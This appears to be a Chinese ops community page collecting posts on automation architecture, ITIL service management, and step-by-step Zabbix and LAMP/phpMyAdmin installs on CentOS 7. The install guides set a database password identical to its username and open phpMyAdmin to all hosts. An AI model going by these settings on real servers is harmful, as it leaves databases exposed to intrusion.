3、自动化建设总体框架

自动化的建设水平在行业内差异化还是明显的，如果处于运维自动化起步的阶段，建议是组建运维开发团队，从整体规划，基于ESB思想，分层建设，让支撑平台从业务逻辑中解耦。比如就业务运维而言，整个操作工作面无非就是对业务运营环境的各种操作、配置，以及对业务应用程序的管理，简单来说就是OS层和应用层。




要做自动化实施首先得有准确对称的数据，然后需要一个统一的管控平台，能并发的控制和操作远程大量主机，这解决了OS层面的操作问题，但需要管理应用层面的东西还需要与应用的研发人员规范相关接口，这对于开源组件应用而言一般不会有什么问题。因此如果是从零开始做自动化，个人认为CMDB、管控平台、业务进程管理工具这三部分是地基。在此基础之上，可以针对运维各类场景和业务逻辑去做相应的垂直功能系统，再上一层，可以使用流程引擎之类的组件来实现业务运维流程的纵向整合，最终实现运维各类业务流程的纯线上自动化。
 

二、自动化实施路线

业务发展往往带来运维块面的应用形态、运营环境、、部署结构、基础架构规模及组织流程等多样化、复杂化；如无统一的标准及规范，运维支撑工作将异常混乱，自动化也难以实施。因此自动化有一个基础:标准化，标准化是将一切杂乱无章、千头万绪的运维工作变得有序及可控，流程规范与执行标准的落地是自动化的一大基石。结合我司实际运维现状及需求，基于以上自动化体系建设思路，前期规划的建设线路如下




1、信息的标准化管理：CMDB

在运维工作中，信息的管理往往是难点，运维侧涉及的信息太多，且也与其他职能部门多点关联，信息流转于整个流程的多个职能部门、多个环节




中小型企业中，手工线下记录的方式居多，线上线下信息一致性保持、内部外部信息传递、共享、同步等均存在较大问题，经常出现:
线下表格有，实际位置找不到，或信息不对称不清楚设备状态，不清楚哪个业务在使用一个部门做了变更，其他部门不知情变更一条上联链路，无法及时判断影响范围及程度

根本问题及给运维工作带来的痛点如下




因此我们引入一套基于ITIL体系的配置管理数据库CMDB，旨在为运维团队建立线下与线上一致性的基础信息库，作为运维标准化、自动化、平台化的基础输入。重点解决IT基础架构信息化以及业务配置信息线上化，系统主要功能模块如下图:




系统本身主要功能可归结为2个方面：基础架构信息管理、业务信息管理。此两大方面的功能使用者为web-user，除此之外，对于API-user，此系统提供了一整套接口界面与其它任何需要信息的系统进行对接，这也是设计初衷，将信息从一个统一的、标准的源头输出给各垂直或水平业务功能系统，而运维需要做的就是维护CMDB本身基础数据的完整性、准确性，CMDB与各流程系统、垂直功能系统结合之后实现信息数据一处变更，处处同步。




如上为CMDB业务管理模型，作为运维统一信息库，与其他系统平台数据互通，深度整合后实现信息的管理、维护、展现全部线上化。

产品设计过程中涉及的几个关键点：
CI及属性需要贴合实际环境，同时考虑长期的运维规划管理的不仅是CI及其属性，还有CI之间的关系，状态流转机制等等充分考虑扩展性及灵活性，如引入自定义属性来满足未来或暂时不可预见的需求
 
2、通用型作业平台
对于运维执行工作而言，绝大部分的实现均是对运营环境的各类操作，在业务体量上去后，需求导致的运维操作密集度不断增加，如公司内某款游戏业务部署在近上百台主机上，一次维护要对此上百台逐一进行相应的操作，如通过人工去完成则费时费力、效率低下、且影响业务可用性。由此运维面临的问题是：




我们决定做一个通用型运维操作平台来解决这些问题，为运维人员提供一个可以批量控制和操作大规模主机的通道，运维人员在web界面中可以定制所有的运维操作，指定执行的对象，通过平台下发执行并返回结果，例如 批量shell脚本执行，大量文件传输，发布变更，数据备份等等各类场景。对于产品设计上遵循以下几点:




技术实现上，基于公司运维环境，我们对后端系统有如下需求：
良好的scale-up/scale-out，灵活扩展，支持复杂网络结构轻量级、高效的后端通信机制，成千上万的管理规模跨平台，支持windows、unix-like多平台，无需重复开发

运维门槛低，使用运维熟悉的命令操作及脚本语言即可完成一切作业，无需学习众多的特定模块或yaml语法,为此我们迅速找到了saltstack作为后端系统；前端系统涉及到的交互逻辑及业务逻辑自主研发，自研部分需实现的逻辑如下：
全网统一的一套基于web的用户界面，将所有操作逻辑通过web层来调用salt-api，web前端提供与直接登录机器操作一样的灵活性和自由度，运维人员在web上完成所有操作。对运维操作进行建模，将其分解为几大原子操作类型，一切复杂的序列化操作逻辑可通过原子的自由组合来实现，给用户提供自由灵活的操作方式基于以上逻辑，再给salt加一层应用接口，便于后续其他系统平台可直接调用或整合UJOBS以建设更高层次的平台。




后端salt的逻辑这里不赘述，由于实际网络环境的特殊性，我们采用了二层架构，即master-syndic-minion,公网与内网相结合的方式最大限度提升系统性能。

权限控制、执行对象等等与CMDB打通，可以非常灵活的适应各类业务，各种场景。

如运维人员可以在界面定义好一个版本发布作业：xx业务发布，分解整个发布流程中到每一步骤，并写脚本或调用外部接口来实现具体的操作，最终线上操作只需在页面点击开始执行就可：




当然用户自定义作业可以复用，通过传参的方式实现实例化，避免必要每次发布都建作业。
 
3、建设过程中的问题总结
 
做好产品设计及架构设计
充分解析运维内部需求，各具体平台或产品业务区分明确，产品定位一定要清晰，不要想着让微波炉具备电冰箱的功能，自动化整个体系不是一个产品能解决所有问题，需要自顶向下分层设计，产品之间相互解耦且又对外提供接口，能方便的整合与被整合。

组建运维内部开发团队
运维自动化的建设，最好是组建运维内部团队来进行开发，直接丢给业务研发部门往往做出来的东西不是运维侧想要的，因其不易理解运维侧的需求场景、痛点，操作方式等等；如实在没有运维开发团队，那就找个深度理解运维场景的PM去跟开发团队吧。

推动业务开发侧的标准化
其实产品开发团队的研发管理水平及标准化程度直接决定了运维人员爽与不爽，绝大多数研发人员往往只考虑产品功能实现，而很少关注可维护性设计，导致业务给运维人员带来很大的无价值工作量，更有甚者直接是将运维人员当成代码逻辑的一部分。让运维人员参与产品研发的可维护性设计是很多必要的，运维侧需形成可维护性标准规范，推动业务开发遵循将非常利于运维自动化的建设。

文章来源：微信订阅号"运维帮"
地址：http://dwz.cn/6c2Yqz  查看全部

急需转型的企业IT服务
 
在企业里，IT部门一般是作为服务部门而存在，大部分企业IT部门是以提供基础架构服务和通用IT服务为主，如何提高系统的可用性和提升响应速度就变成IT服务管理内容的核心。
 
目前，国内企业的IT管理经历了系统管理、网络管理之后，现在正逐渐向IT服务管理阶段过渡。但许多企业IT服务远没有实现主动式管理，依然停留在服务支持管理的层面上。
 

IT服务管理的必要理念

目前，IT已成为许多业务流程中必不可少的部分，IT服务地位的提升意味着IT要承担更大的责任。一方面，IT必须满足业务流程不断变化的需求;另一方面，IT服务的相关成本也要随之不断降低。但是我们看见，IT在这两个方面都没有做出令人满意的答案。
 

IT服务管理的根本目标

IT服务管理的根本目标有三个：
第一，以用户为中心提供IT服务第二，提供高质量、低成本的服务第三，提供可量化计价的服务。
如果简单说明，IT服务管理可概括为"二次转换"，第一次是"梳理"，第二次是"打包"。
 
首先，将纵向的各种IT技术管理工作(传统IT管理的重点)，如服务器管理、网络管理和系统软件管理等进行“梳理”，形成典型的流程，这是第一次转换。这主要是供IT部门内部使用，用户对此并不感兴趣。但是，仅是这些流程还不能保证服务质量或客户满意，还需将流程按需”打包“成特定的IT服务，提供给用户，这是第二次转换。
 
简单来说，第一次转换是将IT技术管理转化为IT流程管理，第二次转换是将IT流程管理转化为IT服务管理。
 
从用户的角度来说， IT只是提高运营业务效率的一种工具，用户不需要对IT有太多的了解，用户需要的是IT所实现的功能。用户和IT部门之间的交流，使用的是”商业语言“而不是”技术语言“，IT部门需要向用户提供的是 IT服务。
 
为了能够灵活、及时和有效地提供IT服务，并保证服务质量、理化计算有关成本，IT服务就必须事先对服务进行一定程度上的分类和打包。




 

ITIL高效解决IT服务问题

ITIL的全名是IT基础设施库，简单的说，就是一套针对各行业的IT服务管理标准库。 ITIL结合流程、人员和技术三要素，为企业的IT构建一套从计划、研发、实施到运行维护的最佳实践方案。
 
一套协同流程是ITIL框架的核心，它通过服务级别协议(SLA)来保证IT服务的质量。它融合了系统管理、网络管理、系统开发管理等管理活动，以及关于变更管理、资产管理、问题管理等许多流程的理论和实践。
 
ITIL提供的是一种流程处理的IT服务管理方案，它通过工作单形成IT服务流程闭环，以确保整个IT服务过程有据可查。同时，ITIL还制定了明确的服务流程规范，员工需要严格按照流程进行操作。ITIL不断高效地解决IT服务问题，提高IT部门服务效率，以此使用户感到满意，从而达到优质的服务。ITIL是一个很好的手段， 它简化了IT服务管理，变得优质与高效。




 建立高效能IT服务告别危机时代
 

清晰IT服务质量SLA目标

IT服务的质量目标是各方对IT服务管理的期望，它是业务部门和IT部门双方根据业务目标制定的。一个好的IT服务目标要有这几个方面的作用：明确持续服务管理，改进活动的方向;促使有关人员朝正确方向采取行动;协调不同人员的多个行动;简要有力地说明高层管理者的意图。
 

分析IT服务管理的现状

评估企业目前的IT服务管理现状和成熟度级别是核心步骤之一。ITIL自我评估手册提供了一个全面的评估方法。因为，用户的需求和IT服务现状是决定所提供IT服务的基础，而服务流程、职能、技能、企业结构和文化等则是根据用户需求和所提供的服务类型决定的。
 
分析和评价的现状要从这几个方面考虑：IT部门是否理解业务战略和方向、业务面临的问题;IT部门是否理解技术对业务的作用;IT部门和业务部门对当前IT服务成熟度和IT服务质量的看法是否一致;IT部门是否清楚了解利益相关者的需求; IT部门是否清楚了解不改进IT服务质量的后果等。
 

制定高效的IT服务管理方案

管理方案包括两个方面，一是选用何种服务管理工具，二是进行教育、培训、文化变革。经验表明，成功的IT服务管理实施，更多的是要依靠后者。
 
这一阶段的IT服务工作包括以下几点：
文件和制度制定：主要有IT制度文件准备、编制用户手册、工作记录手册及IT管理人员工作指南等。
员工培训工作：对与IT系统相关的每位员工都要进行适当的培训，一方面是对IT人员要加强业务知识技能的培训，理解业务原理及本质

对业务人员要加强IT知识技能的培训，通过培训可以使IT业务人员都能理解IT服务管理各流程的基本原则。
 
关键成功因素和绩效指标决定IT服务考核标准
 
检查IT服务效果是保障IT服务高质量的关键过程之一。这需要事先明确定义一系列可测量的目标和指标，然后在每个时期内进行评审，检查IT服务目标是否达到，服务质量是否得到提高。否则，就需要提出和采取补救和改进措施来实现预期目标。

因此，可以先为每个IT服务确定和定义一些关键成功因素(CSF)和关键绩效指标 (KPI)。关键成功因素是使每个IT服务达到高质量所需达到的最低要素，关键绩效指标是测量每个关键成功因素是否实现的具体数量指标。关键成功因素和关键绩效指标建立了每个IT服务的绩效考核基准。
 

总结

俗语说：创业难，守业更难。逆水行舟，不进则退。先前的IT服务活动已经达到目标，继而就要巩固取得的成果并采取进一步的改进行动。我们必须明白一个道理，提高IT服务质量是一个永无止境的持续过程。

摩卡业务服务管理(Mocha BSM)能够监控基础设施和应用，也能够将复杂的IT设施转化为简单的业务视图，它帮助我们从IT服务的角度出发，保障IT部门提供稳定可靠的服务。
阅读分享：http://www.sootoo.com/content/47944.shtml  查看全部

一、Zabbix简介

zabbix是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。zabbix能监视各种网络参数，保证服务器系统的安全运营；并提供灵活的通知机制以让系统管理员快速定位/解决存在的各种问题。
 

二、Zabbix安装

本文档在同一台机器上安装了zabbix-server 和zabbix-agent 自己监控自己。
 
 
1、配置LAMP
 
这个可以参考之前的文章：http://openskill.cn/article/578 
 
2、配置Yum源
Zabbix在CentOS基本源里不可获得，因此必须配置EPEL 和Zabbix 官方repository

安装EPEL repository
yum install epel-release配置ZabbixZone package repository and GPG key
rpm --import http://repo.zabbix.com/RPM-GPG-KEY-ZABBIX
rpm -Uv http://repo.zabbix.com/zabbix/2.4/rhel/7/x86_64/zabbix-release-2.4-1.el7.noarch.rpm3、安装Zabbix server and agent（agent是可选的）
安装Zabbix server and agent:（配置自己监控自己，所以安装了zabbix-agent）
yum install zabbix-server-mysql zabbix-web-mysql zabbix-agent zabbix-java-gateway编辑 file /etc/httpd/conf.d/zabbix:
vi /etc/httpd/conf.d/zabbix.conf更新时区:
php_value date.timezone Asia/Shanghai重启httpd
systemctl restart httpd
4、创建MySQL 数据库和用户
 
登录MariaDB:
mysql –u root –p创建一个数据库‘zabbixdb’和数据库用户‘zabbix’
MariaDB [(none)]> create database zabbix character set utf8;

MariaDB [(none)]> grant all privileges on zabbix.* to 'zabbix'@'localhost' identified by 'zabbix';

MariaDB [(none)]> flush privileges;
 5、数据库导入zabbix template
使用数据库用户zabbix登录数据库
mysql –uzabbix –p切换到zabbix数据库
use zabbix导入模板数据
MariaDB [zabbix]> source /usr/share/doc/zabbix-server-mysql-2.4.7/create/schema.sql

MariaDB [zabbix]> source /usr/share/doc/zabbix-server-mysql-2.4.7/create/images.sql

MariaDB [zabbix]> source /usr/share/doc/zabbix-server-mysql-2.4.7/create/data.sql
 6、配置Zabbix server
编辑文件/etc/zabbix/zabbix_server.conf
vi /etc/zabbix/zabbix_server.conf配置下面的三个参数
[...]
DBName=zabbix
[...]
DBUser=zabbix
[...]
DBPassword=zabbix
[...]
 7、配置zabbix-agent
vi /etc/zabbix/zabbix_agentd.conf配置zabbix server 的ip
[...]

## Line 85 - Specify Zabbix server ##

Server=127.0.0.1

[...]

## Line 126 - Specify Zabbix server ##

ServerActive=127.0.0.1

[...]

## Line 137 - Specify Zabbix server Hostname or IP address ##

Hostname=127.0.0.1

[...]
8、修改PHP 设置
 
修改php.ini为zabbix 建议的设置

编辑文件 php.ini
vi /etc/php.ini设置下面的参数
max_execution_time = 600
max_input_time = 600
memory_limit = 256
Mpost_max_size = 32M
upload_max_filesize = 16M
date.timezone = Asia/Shanghai
9、修改Firewall 和SELinux 设置
 
开放zabbix端口10050 and 10051.
firewall-cmd --permanent --add-port=10050/tcp
firewall-cmd --permanent --add-port=10051/tcp重启firewall
systemctl restart firewalld如果使用 SELinux, 运行以下命令使 Apache 可以和 Zabbix通信
setsebool -P httpd_can_connect_zabbix=1
 10、允许Zabbix web console 对特定IP段可用 (可选)
编辑文件 /etc/httpd/conf.d/zabbix.conf
vi /etc/httpd/conf.d/zabbix.conf添加允许访问 zabbix web interface的ip段. 如果设置 ‘Allow from All’, 这可以允许全部可以访问
#
# Zabbix monitoring system php web frontend
#

Alias /zabbix /usr/share/zabbix

<Directory "/usr/share/zabbix">
Options FollowSymLinks
AllowOverride None
Require all granted

<IfModule mod_php5.c>
php_value max_execution_time 300
php_value memory_limit 128M
php_value post_max_size 16M
php_value upload_max_filesize 2M
php_value max_input_time 300
php_value date.timezone Asia/Shanghai
</IfModule>
</Directory>

<Directory "/usr/share/zabbix/conf">
Require all denied
</Directory>

<Directory "/usr/share/zabbix/include">
Require all denied
</Directory>启动zabbix-server 和zabbix-agent。重启httpd,，并设置zabbix-server和zabbix-agent开机自动启动
systemctl start zabbix-server

systemctl start zabbix-agent

systemctl restart httpd

systemctl restart mariadb

systemctl enable zabbix-server

systemctl enable zabbix-agent ---- (可选)
11、通过控制台配置Zabbix
 
浏览器访问http://ip-address/zabbix



检查包的完整性和参数配置




数据zabbix数据库名、数据库用户和密码，并测试




输入Server name(可选)




预安装summary




点击完成，完成安装




安装完成后，重定向到zabbix控制台登录页面. 输入用户名和密码，默认的用户名和密码为admin/zabbix.




管理仪表盘页面如下




英文原文地址：http://www.unixmen.com/how-to-install-zabbix-server-on-centos-7/​   查看全部

yum install epel-release

rpm --import http://repo.zabbix.com/RPM-GPG-KEY-ZABBIX

rpm -Uv http://repo.zabbix.com/zabbix/2.4/rhel/7/x86_64/zabbix-release-2.4-1.el7.noarch.rpm

yum install zabbix-server-mysql zabbix-web-mysql zabbix-agent zabbix-java-gateway

vi /etc/httpd/conf.d/zabbix.conf

php_value date.timezone Asia/Shanghai

systemctl restart httpd

mysql –u root –p

MariaDB [(none)]> create database zabbix character set utf8;



MariaDB [(none)]> grant all privileges on zabbix.* to 'zabbix'@'localhost' identified by 'zabbix';



MariaDB [(none)]> flush privileges;

mysql –uzabbix –p

use zabbix

MariaDB [zabbix]> source /usr/share/doc/zabbix-server-mysql-2.4.7/create/schema.sql



MariaDB [zabbix]> source /usr/share/doc/zabbix-server-mysql-2.4.7/create/images.sql



MariaDB [zabbix]> source /usr/share/doc/zabbix-server-mysql-2.4.7/create/data.sql

vi /etc/zabbix/zabbix_server.conf

[...]

DBName=zabbix

[...]

DBUser=zabbix

[...]

DBPassword=zabbix

[...]

vi /etc/zabbix/zabbix_agentd.conf

[...]



## Line 85 - Specify Zabbix server ##



Server=127.0.0.1



[...]



## Line 126 - Specify Zabbix server ##



ServerActive=127.0.0.1



[...]



## Line 137 - Specify Zabbix server Hostname or IP address ##



Hostname=127.0.0.1



[...]

vi /etc/php.ini

max_execution_time = 600

max_input_time = 600

memory_limit = 256

Mpost_max_size = 32M

upload_max_filesize = 16M

date.timezone = Asia/Shanghai

firewall-cmd --permanent --add-port=10050/tcp

firewall-cmd --permanent --add-port=10051/tcp

systemctl restart firewalld

setsebool -P httpd_can_connect_zabbix=1

vi /etc/httpd/conf.d/zabbix.conf

#

# Zabbix monitoring system php web frontend

#



Alias /zabbix /usr/share/zabbix



<Directory "/usr/share/zabbix">

    Options FollowSymLinks

    AllowOverride None

    Require all granted



    <IfModule mod_php5.c>

        php_value max_execution_time 300

        php_value memory_limit 128M

        php_value post_max_size 16M

        php_value upload_max_filesize 2M

        php_value max_input_time 300

        php_value date.timezone Asia/Shanghai

    </IfModule>

</Directory>



<Directory "/usr/share/zabbix/conf">

    Require all denied

</Directory>



<Directory "/usr/share/zabbix/include">

    Require all denied

</Directory>

systemctl start zabbix-server



systemctl start zabbix-agent



systemctl restart httpd



systemctl restart mariadb



systemctl enable zabbix-server



systemctl enable zabbix-agent  ---- (可选)

LAMP指的Linux（操作系统）、Apache HTTP 服务器，MySQL（有时也指MariaDB，数据库软件）和PHP（有时也是指Perl或Python）的第一个字母，一般用来建立web应用平台。所有组成产品均是开源软件，是国际上成熟的架构框架，很多流行的商业应用都是采取这个架构，和Java/J2EE架构相比，LAMP具有Web资源丰富、轻量、快速开发等特点，微软的.NET架构相比，LAMP具有通用、跨平台、高性能、低价格的 优势，因此LAMP无论是性能、质量还是价格都是企业搭建网站的首选平台。
 
下面讨论如何在RHEL/CentOS/Scientific Linux 7上搭建LAMP环境.

一、Install Apache

Apache HTTP Server（简称Apache）是Apache软件基金会的一个开放源码的网页服务器，可以在大多数计算机操作系统中运行，由于其多平台和安全性被广泛使用，是最流行的Web服务器端软件之一。它快速、可靠并且可通过简单的API扩展，将Perl/Python等解释器编译到服务器中。

在终端以root权限运行以下命令:yum install httpd -y启动Apachesystemctl start httpd设置开机启动systemctl enable httpdfirewall设置允许远程登录:firewall-cmd --permanent --add-service=http

systemctl restart firewalld测试Apache

浏览器访问 http://localhost/ or http://server-ip-address/





二、Install MariaDB

MariaDB数据库管理系统是MySQL的一个分支，主要由开源社区在维护，采用GPL授权许可 MariaDB的目的是完全兼容MySQL，包括API和命令行，使之能轻松成为MySQL的代替品。 MariaDB由MySQL的创始人Michael Widenius（英语：Michael Widenius）主导开发，他早前曾以10亿美元的价格，将自己创建的公司MySQL AB卖给了SUN，此后，随着SUN被甲骨文收购，MySQL的所有权也落入Oracle的手中。MariaDB名称来自Michael Widenius的女儿Maria的名字。
 
安装MariaDB：yum install mariadb-server mariadb -y启动MariaDBsystemctl start mariadb设置开机启动systemctl enable mariadb设置root密码
默认情况下，root密码为空。为防止未授权的访问，我们设置root密码mysql_secure_installation

三、Install PHP

PHP（外文名:PHP: Hypertext Preprocessor，中文名：“超文本预处理器”）是一种通用开源脚本语言，主要适用于Web开发领域。

使用以下的命令安装phpyum install php php-mysql php-gd php-pear -y测试PHP:
在Apache文档根目录创建“testphp.php”vi /var/www/html/testphp.php编辑内容如下<?php
phpinfo();
?>重启 httpd 服务:systemctl restart httpd浏览器访问 http://server-ip-address/testphp.php. 将会显示php的版本信息.




也可以使用如下命令安装所有php modules，重启httpd服务，查看http://server-ip-address/testphp.php  ，可以看到所有安装的modulesyum install php* -y

四、Install phpMyAdmin (可选)

phpMyAdmin 是一个以PHP为基础，以Web-Base方式架构在网站主机上的MySQL的数据库管理工具，让管理者可用Web接口管理MySQL数据库。由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行，您可以在任何地方使用这些程式产生的HTML页面，也就是于远端管理MySQL数据库，方便的建立、修改、删除数据库及资料表。也可借由phpMyAdmin建立常用的php语法，方便编写网页时所需要的sql语法正确性。

添加 EPEL repository   参照（Install EPEL Repository on RHEL/CentOS/Scientific Linux 7）yum install epel-release安装 phpMyAdmin:yum install phpmyadmin -y配置phpMyAdmin

默认，phpMyAdmin只能由本机访问。为了能够远程访问，编辑phpmyadmin.conf file:vi /etc/httpd/conf.d/phpMyAdmin.conf查找/<Directory> ，注释掉或删除如下内容<Directory /usr/share/phpMyAdmin/>
AddDefaultCharset UTF-8

<IfModule mod_authz_core.c>
# Apache 2.4
<RequireAny>
Require ip 127.0.0.1
Require ip ::1
</RequireAny>
</IfModule>
<IfModule !mod_authz_core.c>
# Apache 2.2
Order Deny,Allow
Deny from All
Allow from 127.0.0.1
Allow from ::1
</IfModule>
</Directory>

<Directory /usr/share/phpMyAdmin/setup/>
<IfModule mod_authz_core.c>
# Apache 2.4
<RequireAny>
Require ip 127.0.0.1
Require ip ::1
</RequireAny>
</IfModule>
<IfModule !mod_authz_core.c>
# Apache 2.2
Order Deny,Allow
Deny from All
Allow from 127.0.0.1
Allow from ::1
</IfModule>
</Directory>添加<Directory /usr/share/phpMyAdmin/>
Options none
AllowOverride Limit
Require all granted
</Directory>编辑“config.inc.php” 改变phpMyAdmin的authentication，修改“cookie” 为 “http”vi /etc/phpMyAdmin/config.inc.phpChange ‘cookie’ to ‘http’.




重启the Apache service:systemctl restart httpd访问 phpmyadmin 的控制台 http://server-ip-address/phpmyadmin/




输入MySQL username and password，将重定向到PhpMyAdmin main web interface.




现在你可以通过phpMyAdmin web interface 管理你的MariaDB数据库了。 查看全部

yum install httpd -y

systemctl start httpd

systemctl enable httpd

firewall-cmd --permanent --add-service=http



systemctl restart firewalld

yum install mariadb-server mariadb -y

systemctl start mariadb

systemctl enable mariadb

mysql_secure_installation

yum install php php-mysql php-gd php-pear -y

vi /var/www/html/testphp.php

<?php 

phpinfo();

?>

systemctl restart httpd

yum install php* -y

yum install epel-release

yum install phpmyadmin -y

vi /etc/httpd/conf.d/phpMyAdmin.conf

<Directory /usr/share/phpMyAdmin/>

   AddDefaultCharset UTF-8

 

   <IfModule mod_authz_core.c>

     # Apache 2.4

     <RequireAny>

       Require ip 127.0.0.1

       Require ip ::1

     </RequireAny>

   </IfModule>

   <IfModule !mod_authz_core.c>

     # Apache 2.2

     Order Deny,Allow

     Deny from All

     Allow from 127.0.0.1

     Allow from ::1

   </IfModule>

</Directory>

 

<Directory /usr/share/phpMyAdmin/setup/>

   <IfModule mod_authz_core.c>

     # Apache 2.4

     <RequireAny>

       Require ip 127.0.0.1

       Require ip ::1

     </RequireAny>

   </IfModule>

   <IfModule !mod_authz_core.c>

     # Apache 2.2

     Order Deny,Allow

     Deny from All

     Allow from 127.0.0.1

     Allow from ::1

   </IfModule>

</Directory>

<Directory /usr/share/phpMyAdmin/>

        Options none

        AllowOverride Limit

        Require all granted

</Directory>

vi /etc/phpMyAdmin/config.inc.php

systemctl restart httpd